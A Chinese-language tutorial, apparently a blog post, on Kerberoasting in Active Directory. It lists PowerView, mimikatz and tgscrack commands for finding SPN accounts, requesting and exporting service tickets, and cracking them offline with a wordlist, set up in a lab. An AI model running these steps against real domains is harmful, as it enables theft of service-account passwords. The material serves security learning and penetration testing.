Kerberoasting 离线爆破攻击

当域用户请求某个域内服务后,kdc 通常会返回一个加密的 st 服务票据,此 st 服务票据被服务 hash 加密,当我们将使用密码字典派生的多个 hash 值来尝试解密 st 服务票据,如果能够揭秘成功,则说明字典中存在目标服务账号的密码。

Kerberoasting 对比 AS-REP Roasting

  • Kerberoasting 利用后获得服务账户密码,AS-REP Roasting 利用后获得发起请求的域用户的密码。

  • Kerberoasting 使用字典爆破 st 服务票据,AS-REP Roasting 使用字典爆破 Logon Session Key。

  • Kerberoasting 需要攻击者具有请求 st 的凭据(某个域用户即可),AS-REP Roasting 需要攻击者枚举出域中 "不要求 kerberos 预身份验证" 的用户。

环境搭建

为管理员 administrator 注册一个 spn,目的是为了 administrator 映射为某个服务的服务账户。

复制代码
setspn -S MySQL/WIN-0v0GAORDC17:3306/MySQL administrator

漏洞利用

  1. 查询域内注册 spn 的用户。工具:PowerView.ps1 ,项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
复制代码
Import-Module .\PowerView.ps1 
Get-NetUser -SPN
  1. 使用某个域用户凭据请求这个 spn 对应服务的 st 服务票据。工具:mimikatz
复制代码
kerberos::ask /target:MySQL/WIN-0v0GAORDC17:3306/MySQL
​
# 这里我用来请求 st 的凭据时 administrator管理员,其实其他域用户凭据也可以,只要能请求到 st 就可以。
  1. 导出请求到的 st 服务票据。工具:mimikatz
复制代码
kerberos::list /export
  1. 使用字典进行离线爆破。工具:tgscrack ,项目地址:https://github.com/leechristensen/tgscrack
复制代码
# 先使用 python 脚本提取出 st 服务票据的加密部分,并导出到 /tmp/myhash.txt 路径下
python2 extractServiceTicketParts.py ticket.kirbi > /tmp/myhash.txt
​
# 再使用 tgscrack.go 进行离线爆破
go run tgscrack.go -hashfile /tmp/myhash.txt -wordlist /tmp/password.txt
相关推荐
我就是不信几秒前
TCP/IP 网络编程:从入门到实战
网络·网络协议·tcp/ip
暖核1 分钟前
MySQL 高级运维核心:备份恢复、主从复制与 MHA 高可用复习总结
运维·数据库·mysql
沫璃染墨27 分钟前
《Qt从零入门系列(十二):Qt文件操作详解——从QFile读写到QFileInfo与记事本实战》
开发语言·网络·c++·qt·交互·信号处理·文件
jimmyleeee1 小时前
大模型安全之三十九:幻觉防线---- AI 幻觉检测、治理与预防指南
人工智能·安全
梦帮科技1 小时前
可证伪性工程测评与生产部署红蓝对抗:压力测试、长尾鲁棒性与全生命周期安全质检守卫
人工智能·深度学习·神经网络·安全·机器学习·自然语言处理·压力测试
梦帮科技2 小时前
推测解码(Speculative Decoding)与 Draft-Target 双核协同:接受率判据、树状验证与两倍吞吐无损加速
网络·人工智能·深度学习·神经网络·线性代数·矩阵·架构
骑着蜗牛撵大象3272 小时前
Agent 打字机是怎么来的:SSE 与 WebSocket 打通实时响应与中间状态
网络·websocket·网络协议·agent·sse·实时通信·流式输出
加油yx2 小时前
数据库基础
数据库
天桥下的卖艺者2 小时前
chrals.CTI函数升级版发布,增加了CTI衍生的脂肪指数提取
数据库·r语言
帷幕落秋2 小时前
Mysql多实例——一个服务器多个mysql服务
运维·数据库